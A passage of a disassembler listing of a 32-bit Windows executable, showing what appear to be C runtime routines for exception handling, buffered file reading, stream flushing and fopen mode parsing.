= dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4177F8 push offset sub_412F2C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_47F988 mov [ebp+var_1C], ecx mov ecx, dword_47F98C mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_47F988, edi mov ecx, [ebp+arg_8] mov dword_47F98C, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_40BAB9 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_4110B5 mov eax, [ebp+var_2C] loc_41107C: ; CODE XREF: sub_411095+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_410FEF endp ; =============== S U B R O U T I N E ======================================= sub_41108B proc near ; DATA XREF: .nsp0:00417808o push dword ptr [ebp-14h] call sub_4110FB pop ecx retn sub_41108B endp ; =============== S U B R O U T I N E ======================================= sub_411095 proc near ; DATA XREF: .nsp0:0041780Co mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_40BD1A pop ecx pop ecx xor eax, eax jmp short loc_41107C sub_411095 endp ; --------------------------------------------------------------------------- loc_4110AD: ; DATA XREF: .nsp0:00417800o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_4110B5 proc near ; CODE XREF: sub_410FEF+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_47F988, eax mov eax, [ebp-20h] mov dword_47F98C, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_4110FA cmp dword ptr [edi+10h], 3 jnz short locret_4110FA cmp dword ptr [edi+14h], 19930520h jnz short locret_4110FA cmp [ebp-24h], ebx jnz short locret_4110FA cmp [ebp-2Ch], ebx jz short locret_4110FA call sub_40BD82 push eax push edi call sub_4112E9 pop ecx pop ecx locret_4110FA: ; CODE XREF: sub_4110B5+1Cj ; sub_4110B5+22j ... retn sub_4110B5 endp ; =============== S U B R O U T I N E ======================================= sub_4110FB proc near ; CODE XREF: sub_41108B+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_411122 cmp dword ptr [eax+10h], 3 jnz short loc_411122 cmp dword ptr [eax+14h], 19930520h jnz short loc_411122 cmp dword ptr [eax+1Ch], 0 jnz short loc_411122 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_411122: ; CODE XREF: sub_4110FB+Cj ; sub_4110FB+12j ... xor eax, eax retn sub_4110FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411125 proc near ; CODE XREF: sub_410F74+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417810 push offset sub_412F2C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_4112CE cmp byte ptr [eax+8], 0 jz loc_4112CE mov eax, [ecx+8] test eax, eax jz loc_4112CE mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_4111C2 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_413DA0 pop ecx pop ecx test eax, eax jz loc_4112C5 push 1 push edi call sub_413DBC pop ecx pop ecx test eax, eax jz loc_4112C5 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_4111B3: ; CODE XREF: sub_411125+F5j push eax call sub_411350 pop ecx pop ecx mov [edi], eax jmp loc_4112CA ; --------------------------------------------------------------------------- loc_4111C2: ; CODE XREF: sub_411125+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41121C mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_413DA0 pop ecx pop ecx test eax, eax jz loc_4112C5 push 1 push edi call sub_413DBC pop ecx pop ecx test eax, eax jz loc_4112C5 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_40BE50 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_4112CA mov eax, [edi] test eax, eax jz loc_4112CA add esi, 8 push esi jmp short loc_4111B3 ; --------------------------------------------------------------------------- loc_41121C: ; CODE XREF: sub_411125+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_411264 call sub_413DA0 pop ecx pop ecx test eax, eax jz loc_4112C5 push 1 push edi call sub_413DBC pop ecx pop ecx test eax, eax jz short loc_4112C5 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_411350 pop ecx pop ecx push eax push edi call sub_40BE50 add esp, 0Ch jmp short loc_4112CA ; --------------------------------------------------------------------------- loc_411264: ; CODE XREF: sub_411125+103j call sub_413DA0 pop ecx pop ecx test eax, eax jz short loc_4112C5 push 1 push edi call sub_413DBC pop ecx pop ecx test eax, eax jz short loc_4112C5 push dword ptr [esi+18h] call sub_413DD8 pop ecx test eax, eax jz short loc_4112C5 test byte ptr [esi], 4 jz short loc_4112AB push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_411350 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_40BA2D jmp short loc_4112CA ; --------------------------------------------------------------------------- loc_4112AB: ; CODE XREF: sub_411125+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_411350 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_40BA26 jmp short loc_4112CA ; --------------------------------------------------------------------------- loc_4112C5: ; CODE XREF: sub_411125+6Aj ; sub_411125+7Cj ... call sub_411422 loc_4112CA: ; CODE XREF: sub_411125+98j ; sub_411125+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_4112CE: ; CODE XREF: sub_411125+2Ej ; sub_411125+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_411125 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_4113CC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4112E9 proc near ; CODE XREF: sub_410C14+170p ; sub_4110B5+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417820 push offset sub_412F2C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_411330 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_411330 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_40BA26 or [ebp+var_4], 0FFFFFFFFh loc_411330: ; CODE XREF: sub_4112E9+2Aj ; sub_4112E9+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4112E9 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_4113CC ; =============== S U B R O U T I N E ======================================= sub_411350 proc near ; CODE XREF: sub_411125+8Fp ; sub_411125+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_411371 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_411371: ; CODE XREF: sub_411350+12j pop esi retn sub_411350 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411380 proc near ; CODE XREF: sub_40BAB9+40p ; sub_410EC0+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_40BDA5 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_4113BF mov ecx, 2 loc_4113BF: ; CODE XREF: sub_411380+38j push ecx call sub_40BDA5 pop ebp pop ecx pop ebx leave retn 0Ch sub_411380 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113CC proc near ; CODE XREF: sub_410C14:loc_410DB6j ; sub_410F5E:loc_410F6Fj ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00413DF0 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417830 push offset sub_412F2C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_47F994 test eax, eax jz short loc_411414 mov [ebp+var_4], 1 call eax jmp short loc_411410 ; --------------------------------------------------------------------------- loc_411409: ; DATA XREF: .nsp0:00417840o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41140D: ; DATA XREF: .nsp0:00417844o mov esp, [ebp+var_18] loc_411410: ; CODE XREF: sub_4113CC+3Bj and [ebp+var_4], 0 loc_411414: ; CODE XREF: sub_4113CC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41141D: ; DATA XREF: .nsp0:00417838o jmp loc_413DF0 sub_4113CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411422 proc near ; CODE XREF: sub_40BC5B+23p ; sub_40BC5B:loc_40BCC6p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417848 push offset sub_412F2C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_41FD74 test eax, eax jz short loc_41146A mov [ebp+var_4], 1 call eax ; sub_4113CC jmp short loc_411466 ; --------------------------------------------------------------------------- loc_41145F: ; DATA XREF: .nsp0:00417858o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_411463: ; DATA XREF: .nsp0:0041785Co mov esp, [ebp+var_18] loc_411466: ; CODE XREF: sub_411422+3Bj and [ebp+var_4], 0 loc_41146A: ; CODE XREF: sub_411422+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_411473: ; DATA XREF: .nsp0:00417850o jmp sub_4113CC sub_411422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411478 proc near ; CODE XREF: sub_40C193+7p ; sub_40C193+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_480F88 push esi cmp eax, 3 jnz short loc_4114A1 mov esi, [ebp+arg_0] push esi call sub_40EC58 test eax, eax pop ecx jz short loc_41149E mov eax, [esi-4] sub eax, 9 jmp short loc_4114D6 ; --------------------------------------------------------------------------- loc_41149E: ; CODE XREF: sub_411478+1Cj push esi jmp short loc_4114C8 ; --------------------------------------------------------------------------- loc_4114A1: ; CODE XREF: sub_411478+Ej cmp eax, 2 jnz short loc_4114C5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_40F9B3 add esp, 0Ch test eax, eax jz short loc_4114C5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_4114D6 ; --------------------------------------------------------------------------- loc_4114C5: ; CODE XREF: sub_411478+2Cj ; sub_411478+43j push [ebp+arg_0] loc_4114C8: ; CODE XREF: sub_411478+27j push 0 push dword_480F84 call dword_417144 ; RtlSizeHeap loc_4114D6: ; CODE XREF: sub_411478+24j ; sub_411478+4Bj pop esi leave retn sub_411478 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4114D9 proc near ; CODE XREF: sub_40C324+17p ; sub_40C324+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_4114F7 mov ecx, off_41FD78 movzx eax, word ptr [ecx+eax*2] jmp short loc_411549 ; --------------------------------------------------------------------------- loc_4114F7: ; CODE XREF: sub_4114D9+10j mov ecx, eax push esi mov esi, off_41FD78 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41151C and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_411525 ; --------------------------------------------------------------------------- loc_41151C: ; CODE XREF: sub_4114D9+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_411525: ; CODE XREF: sub_4114D9+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_413E07 add esp, 1Ch test eax, eax jnz short loc_411545 leave retn ; --------------------------------------------------------------------------- loc_411545: ; CODE XREF: sub_4114D9+68j movzx eax, word ptr [ebp+arg_0+2] loc_411549: ; CODE XREF: sub_4114D9+1Cj and eax, [ebp+arg_4] leave retn sub_4114D9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_411550 proc near ; CODE XREF: sub_40DF72+7F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_411569 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_411569: ; CODE XREF: sub_411550+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_411550 endp ; =============== S U B R O U T I N E ======================================= sub_411584 proc near ; CODE XREF: sub_40C3BA+2Ap ; sub_41416A+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_480D40 jnb loc_41161E mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:480C40h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41161E push edi call sub_4140D6 cmp eax, 0FFFFFFFFh pop ecx jz short loc_4115FD cmp edi, 1 jz short loc_4115CB cmp edi, 2 jnz short loc_4115E1 loc_4115CB: ; CODE XREF: sub_411584+40j push 2 call sub_4140D6 push 1 mov ebp, eax call sub_4140D6 pop ecx cmp eax, ebp pop ecx jz short loc_4115FD loc_4115E1: ; CODE XREF: sub_411584+45j push edi call sub_4140D6 pop ecx push eax call dword_417074 ; CloseHandle test eax, eax jnz short loc_4115FD call dword_417044 ; RtlGetLastWin32Error mov ebp, eax jmp short loc_4115FF ; --------------------------------------------------------------------------- loc_4115FD: ; CODE XREF: sub_411584+3Bj ; sub_411584+5Bj ... xor ebp, ebp loc_4115FF: ; CODE XREF: sub_411584+77j push edi call sub_41405C mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41161A push ebp call sub_411C26 pop ecx jmp short loc_41162F ; --------------------------------------------------------------------------- loc_41161A: ; CODE XREF: sub_411584+8Bj xor eax, eax jmp short loc_411632 ; --------------------------------------------------------------------------- loc_41161E: ; CODE XREF: sub_411584+Ej ; sub_411584+2Fj and dword_47F918, 0 mov dword_47F914, 9 loc_41162F: ; CODE XREF: sub_411584+94j or eax, 0FFFFFFFFh loc_411632: ; CODE XREF: sub_411584+98j pop edi pop esi pop ebp pop ebx retn sub_411584 endp ; =============== S U B R O U T I N E ======================================= sub_411637 proc near ; CODE XREF: sub_40C3BA+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_411660 test al, 8 jz short loc_411660 push dword ptr [esi+8] call sub_40B771 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_411660: ; CODE XREF: sub_411637+Aj ; sub_411637+Ej pop esi retn sub_411637 endp ; =============== S U B R O U T I N E ======================================= sub_411662 proc near ; CODE XREF: sub_411702+2Dp ; sub_411702+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_411674 push esi call sub_411702 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_411674: ; CODE XREF: sub_411662+7j push esi call sub_41169D test eax, eax pop ecx jz short loc_411684 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_411684: ; CODE XREF: sub_411662+1Bj test byte ptr [esi+0Dh], 40h jz short loc_411699 push dword ptr [esi+10h] call sub_414113 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_411699: ; CODE XREF: sub_411662+26j xor eax, eax pop esi retn sub_411662 endp ; =============== S U B R O U T I N E ======================================= sub_41169D proc near ; CODE XREF: sub_40C3BA+1Ap ; sub_40D488+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_4116EA test ax, 108h jz short loc_4116EA mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_4116EA push edi push eax push dword ptr [esi+10h] call sub_413190 add esp, 0Ch cmp eax, edi jnz short loc_4116E3 mov eax, [esi+0Ch] test al, 80h jz short loc_4116EA and al, 0FDh mov [esi+0Ch], eax jmp short loc_4116EA ; --------------------------------------------------------------------------- loc_4116E3: ; CODE XREF: sub_41169D+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_4116EA: ; CODE XREF: sub_41169D+14j ; sub_41169D+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41169D endp ; =============== S U B R O U T I N E ======================================= sub_4116F9 proc near ; CODE XREF: sub_41344Cp push 1 call sub_411702 pop ecx retn sub_4116F9 endp ; =============== S U B R O U T I N E ======================================= sub_411702 proc near ; CODE XREF: sub_411662+Ap ; sub_4116F9+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_480C20, esi jle short loc_411760 loc_411713: ; CODE XREF: sub_411702+5Cj mov eax, dword_47FC08 mov eax, [eax+esi*4] test eax, eax jz short loc_411757 mov ecx, [eax+0Ch] test cl, 83h jz short loc_411757 cmp [esp+0Ch+arg_0], 1 jnz short loc_41173D push eax call sub_411662 cmp eax, 0FFFFFFFFh pop ecx jz short loc_411757 inc ebx jmp short loc_411757 ; --------------------------------------------------------------------------- loc_41173D: ; CODE XREF: sub_411702+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_411757 test cl, 2 jz short loc_411757 push eax call sub_411662 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_411757 or edi, eax loc_411757: ; CODE XREF: sub_411702+1Bj ; sub_411702+23j ... inc esi cmp esi, dword_480C20 jl short loc_411713 loc_411760: ; CODE XREF: sub_411702+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41176B mov eax, edi loc_41176B: ; CODE XREF: sub_411702+65j pop edi pop esi pop ebx retn sub_411702 endp ; =============== S U B R O U T I N E ======================================= sub_41176F proc near ; CODE XREF: sub_40C410+A9p ; sub_40D361+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_411843 test al, 40h jnz loc_411843 test al, 2 jz short loc_411795 or al, 20h mov [esi+0Ch], eax jmp loc_411843 ; --------------------------------------------------------------------------- loc_411795: ; CODE XREF: sub_41176F+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_4117A9 push esi call sub_41333D pop ecx jmp short loc_4117AE ; --------------------------------------------------------------------------- loc_4117A9: ; CODE XREF: sub_41176F+2Fj mov eax, [esi+8] mov [esi], eax loc_4117AE: ; CODE XREF: sub_41176F+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_411848 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_411832 cmp eax, 0FFFFFFFFh jz short loc_411832 mov edx, [esi+0Ch] test dl, 82h jnz short loc_411807 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_4117F0 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_480C40[edi*4] lea edi, [edi+ecx*8] jmp short loc_4117F5 ; --------------------------------------------------------------------------- loc_4117F0: ; CODE XREF: sub_41176F+6Bj mov edi, offset dword_420278 loc_4117F5: ; CODE XREF: sub_41176F+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_411807 or dh, 20h mov [esi+0Ch], edx loc_411807: ; CODE XREF: sub_41176F+62j ; sub_41176F+90j cmp dword ptr [esi+18h], 200h jnz short loc_411824 mov ecx, [esi+0Ch] test cl, 8 jz short loc_411824 test ch, 4 jnz short loc_411824 mov dword ptr [esi+18h], 1000h loc_411824: ; CODE XREF: sub_41176F+9Fj ; sub_41176F+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_411832: ; CODE XREF: sub_41176F+55j ; sub_41176F+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_411843: ; CODE XREF: sub_41176F+Aj ; sub_41176F+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41176F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411848 proc near ; CODE XREF: sub_40C410+90p ; sub_41176F+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_480D40 jnb loc_411A25 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:480C40h[eax*4] mov eax, dword_480C40[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_411A25 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_4118FD test dl, 2 jnz short loc_4118FD test dl, 48h jz short loc_4118BD mov al, [eax+5] cmp al, 0Ah jz short loc_4118BD dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_4118BD: ; CODE XREF: sub_411848+56j ; sub_411848+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call dword_417148 ; ReadFile test eax, eax jnz short loc_411910 call dword_417044 ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_4118F8 mov dword_47F914, 9 mov dword_47F918, ecx jmp loc_411A36 ; --------------------------------------------------------------------------- loc_4118F8: ; CODE XREF: sub_411848+99j cmp eax, 6Dh jnz short loc_411904 loc_4118FD: ; CODE XREF: sub_411848+4Cj ; sub_411848+51j xor eax, eax jmp loc_411A39 ; --------------------------------------------------------------------------- loc_411904: ; CODE XREF: sub_411848+B3j push eax call sub_411C26 pop ecx jmp loc_411A36 ; --------------------------------------------------------------------------- loc_411910: ; CODE XREF: sub_411848+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_411A20 test edx, edx jz short loc_411935 cmp byte ptr [edi], 0Ah jnz short loc_411935 or al, 4 jmp short loc_411937 ; --------------------------------------------------------------------------- loc_411935: ; CODE XREF: sub_411848+E2j ; sub_411848+E7j and al, 0FBh loc_411937: ; CODE XREF: sub_411848+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_411A1A loc_41194F: ; CODE XREF: sub_411848+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_411A0A cmp al, 0Dh jz short loc_41196B mov [edi], al inc edi inc [ebp+arg_8] jmp loc_4119FC ; --------------------------------------------------------------------------- loc_41196B: ; CODE XREF: sub_411848+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_411989 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_411980 add [ebp+arg_8], 2 jmp short loc_4119DE ; --------------------------------------------------------------------------- loc_411980: ; CODE XREF: sub_411848+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_4119FC ; --------------------------------------------------------------------------- loc_411989: ; CODE XREF: sub_411848+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_417148 ; ReadFile test eax, eax jnz short loc_4119B1 call dword_417044 ; RtlGetLastWin32Error test eax, eax jnz short loc_4119F8 loc_4119B1: ; CODE XREF: sub_411848+15Dj cmp [ebp+var_C], 0 jz short loc_4119F8 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_4119D3 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_4119DE mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_4119FC ; --------------------------------------------------------------------------- loc_4119D3: ; CODE XREF: sub_411848+176j cmp edi, [ebp+arg_4] jnz short loc_4119E3 cmp [ebp+var_1], 0Ah jnz short loc_4119E3 loc_4119DE: ; CODE XREF: sub_411848+136j ; sub_411848+17Dj mov byte ptr [edi], 0Ah jmp short loc_4119FB ; --------------------------------------------------------------------------- loc_4119E3: ; CODE XREF: sub_411848+18Ej ; sub_411848+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_412573 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_4119FC loc_4119F8: ; CODE XREF: sub_411848+167j ; sub_411848+16Dj mov byte ptr [edi], 0Dh loc_4119FB: ; CODE XREF: sub_411848+199j inc edi loc_4119FC: ; CODE XREF: sub_411848+11Ej ; sub_411848+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41194F jmp short loc_411A1A ; --------------------------------------------------------------------------- loc_411A0A: ; CODE XREF: sub_411848+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_411A1A or al, 2 mov [esi], al loc_411A1A: ; CODE XREF: sub_411848+101j ; sub_411848+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_411A20: ; CODE XREF: sub_411848+DAj mov eax, [ebp+var_8] jmp short loc_411A39 ; --------------------------------------------------------------------------- loc_411A25: ; CODE XREF: sub_411848+12j ; sub_411848+39j and dword_47F918, 0 mov dword_47F914, 9 loc_411A36: ; CODE XREF: sub_411848+ABj ; sub_411848+C3j or eax, 0FFFFFFFFh loc_411A39: ; CODE XREF: sub_411848+B7j ; sub_411848+1DBj pop edi pop esi pop ebx leave retn sub_411848 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A3E proc near ; CODE XREF: sub_40C798+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_47FB18 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_411A77 cmp al, 72h jz short loc_411A70 cmp al, 77h jnz loc_411B8B mov ecx, 301h jmp short loc_411A7C ; --------------------------------------------------------------------------- loc_411A70: ; CODE XREF: sub_411A3E+21j xor ecx, ecx or esi, 1 jmp short loc_411A7F ; --------------------------------------------------------------------------- loc_411A77: ; CODE XREF: sub_411A3E+1Dj mov ecx, 109h loc_411A7C: ; CODE XREF: sub_411A3E+30j or esi, 2 loc_411A7F: ; CODE XREF: sub_411A3E+37j push 1 pop edx loc_411A82: ; CODE XREF: sub_411A3E+8Bj ; sub_411A3E+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_411B71 cmp edx, ebx jz loc_411B71 movsx eax, al cmp eax, 54h jg short loc_411B10 jz short loc_411B00 sub eax, 2Bh jz short loc_411AEA sub eax, 19h jz short loc_411AE0 